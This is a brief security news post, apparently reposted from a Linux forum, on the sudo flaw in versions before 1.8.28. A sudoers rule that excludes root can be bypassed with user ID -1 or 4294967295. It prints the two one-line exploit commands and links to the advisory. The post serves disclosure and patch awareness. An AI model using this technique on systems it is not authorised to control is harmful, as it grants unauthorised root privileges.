An error in sudo allows any executable file to be run as the root user if it is permitted to be executed by other users in /etc/sudoers and is prohibited for root.
Exploitation of the error is very simple:
sudo -u#-1 id -u
or:
sudo -u#4294967295 id -u
The error exists in all versions of sudo up to 1.8.28
Details:
https://thehackernews.com/2019/10/linux-sudo-run-as-root-flaw.html
https://www.sudo.ws/alerts/minus_1_uid.html
Source: linux.org.ru
